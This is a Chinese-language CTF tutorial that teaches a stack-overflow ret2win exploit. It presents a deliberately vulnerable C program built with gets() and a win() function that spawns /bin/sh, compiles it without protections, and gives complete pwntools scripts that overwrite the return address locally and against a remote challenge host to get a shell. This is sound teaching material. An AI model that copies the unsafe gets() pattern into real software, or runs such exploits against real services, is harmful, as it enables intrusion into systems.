CTF Pwn 入门:栈布局、checksec 与 pwntools

完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移,到用 pwntools 三个核心 API 完成 ret2win。
一、现实背景:gets 为什么危险
C 语言函数 gets 不检查输入长度。缓冲区只有 32 字节,输入 100 字节时,多出的 68 字节会写进相邻内存,覆盖函数调用信息。现代系统为对抗这类问题启用了防护(栈金丝雀、地址随机化等),Pwn 方向就是研究如何在防护下完成利用。
本文只讲一条主线:栈溢出 → 覆盖返回地址 → 跳转执行目标函数。
二、环境准备
在 Linux(Kali/Ubuntu)上:
apt install gcc gdb
pip3 install pwntools
三、漏洞程序与编译
保存 vuln.c:
#include <stdio.h>
#include <stdlib.h>
void win() {
system("/bin/sh");
}
void vuln() {
char buf[32];
gets(buf);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
puts("Hello, what's your name?");
vuln();
puts("Bye!");
return 0;
}
编译(关闭金丝雀和 PIE,方便入门):
gcc -o vuln vuln.c -fno-stack-protector -no-pie
# -fno-stack-protector:关闭栈金丝雀(canary),允许我们覆盖返回地址。
# -no-pie:关闭地址随机化,win 函数地址固定,可以直接写进 payload。
四、核心步骤 1:checksec 看防护
目的:开打之前先判断"这条路能不能走",避免盲目构造 payload。
思路:三个关键行——没有 canary 才能直接覆盖返回地址;NX 开启意味着不能放 shellcode(本阶段跳过);No PIE 意味着程序内函数地址可以直接写死。
输入:
pwn checksec ./vuln
预期输出:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
只看三行:
| 行 | 含义 | 对我们意味着什么 |
|---|---|---|
Stack: No canary found | 没有栈金丝雀 | 可以直接覆盖返回地址 |
NX: NX enabled | 栈不可执行 | 不能放 shellcode(本阶段先不管) |
PIE: No PIE | 程序地址固定 | win 的地址可以直接写进 payload |
五、核心步骤 2:栈布局与偏移
vuln 被调用时栈上自低到高:
┌──────────────────────┐
│ buf[32] │ ← 输入从这里写入
├──────────────────────┤
│ saved rbp(8 字节) │
├──────────────────────┤
│ 返回地址(8 字节) │ ← 覆盖它
└──────────────────────┘
偏移 = 32 + 8 = 40 字节。用 pwntools 的 cyclic 验证:
from pwn import *
p = process('./vuln')
p.sendline(cyclic(200))
# cyclic(200):生成 200 字节的"无重复模式串",例如 aaaabaaacaaa...
# 目的:发送后程序溢出崩溃,崩溃时的地址必然取自模式串的某一段。
p.wait()
# wait():等待子进程结束(崩溃),这样 corefile 才可用。
offset = cyclic_find(p.corefile.fault_addr)
# p.corefile.fault_addr:程序崩溃时 rip 的值(即被覆盖的返回地址)。
# cyclic_find(addr):在模式串里查找该字节片段的位置,返回值就是"到返回地址的距离"。
print(offset)
# 预期输出 40:32 字节 buf + 8 字节 saved rbp。
预期输出:40。
六、核心步骤 3:pwntools 三个核心 API
API 1:ELF——读符号地址
from pwn import *
elf = ELF('./vuln')
# ELF('./vuln'):解析 ELF 文件,得到符号、节区等信息的对象。
# elf.symbols['win']:查 win 函数的虚拟地址(由符号表得到)。
# hex(...):转成十六进制字符串显示,方便阅读。
print(hex(elf.symbols['win']))
预期输出:
0x401176
API 2:process——启动程序
p = process('./vuln')
启动本地进程,之后用 p.sendline()、p.recvuntil() 交互。远程题目改成:
p = remote('1.2.3.4', 10001)
API 3:p64 + sendline——构造并发送 payload
payload = b'A' * 40 + p64(0x401176)
# b'A' * 40:40 个字节的填充,正好填满 buf[32] 与 saved rbp[8]。
# p64(0x401176):把 64 位整数 0x401176 打包成 8 字节小端字节串
# (低字节在前:76 11 40 00 00 00 00 00),作为新的返回地址。
# 两段拼接后,gets 会把这 48 字节全部写入栈,
# 前 40 字节覆盖缓冲区与 rbp,最后 8 字节正好覆盖返回地址。
p.sendline(payload)
# sendline():发送 payload 并自动补一个换行(gets 以换行结束输入)。
p64 把 64 位整数转成 8 字节小端字节串;40 个 A 填满缓冲区与 saved rbp,后面 8 字节正好落在返回地址上。
七、完整 ret2win 脚本
目的:把前三步串成完整 exploit。
思路:等程序打印提示 → 发送"填充 + win 地址" → 程序 ret 跳到 win → 弹出 shell → 交互。
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
p.recvuntil(b'name?')
# recvuntil():一直读取直到收到指定字节串,保证程序已走到 gets 之前。
# 参数 b'name?':匹配提示文字 "name?",避免过早发送导致输入丢失。
payload = b'A' * 40 + p64(elf.symbols['win'])
p.sendline(payload)
# 触发溢出:覆盖返回地址为 win。
p.interactive()
# interactive():把当前进程的输入输出接到我们的终端,
# 之后就可以像正常 shell 一样输入命令(id、cat flag 等)。
预期结果:
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf)
程序跳到了 win(),执行 system("/bin/sh"),我们拿到了 shell。
八、必学工具
| 工具 | 3 个核心功能 | 示例 |
|---|---|---|
| pwntools | ELF() 读符号、cyclic/cyclic_find 找偏移、p64+sendline 构造发送 | 见上文 |
| checksec | 查看栈保护、NX、PIE | pwn checksec ./vuln |
| GDB(+pwndbg) | 断点、看栈、单步 | break vuln、x/20gx $rsp、continue |
九、小 CTF 实战:远程 ret2win
题目:nc 1.2.3.4 10001,运行的就是上面的 vuln。
第一步,本地验证:
python3 exploit.py
第二步,把 process('./vuln') 改成 remote('1.2.3.4', 10001) 再跑:
目的:本地打通后打远程。本地与远程的区别只有一行:连接方式。
验证方式:远程返回同样提示并弹出 shell 即成功;如果远程崩溃或没有反应,先用 checksec 确认远程程序的防护与本地一致。
from pwn import *
elf = ELF('./vuln')
p = remote('1.2.3.4', 10001)
# remote(host, port):建立 TCP 连接,host 是题目 IP,port 是题目端口。
# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。
payload = b'A' * 40 + p64(elf.symbols['win'])
p.sendline(payload)
p.sendline(b'cat flag')
# 进入 shell 后执行 cat flag,读取当前目录下的 flag 文件。
p.interactive()
预期输出:
flag{ret2win}
十、小结
Pwn 入门主线:checksec 判断能不能直接打 → cyclic 确定偏移 → p64 构造 payload 覆盖返回地址。下一级进阶(NX + ASLR)时,目标从"程序内的 win"换成"libc 里的 system",思路不变,详见《栈溢出与 ROP 深入实战》。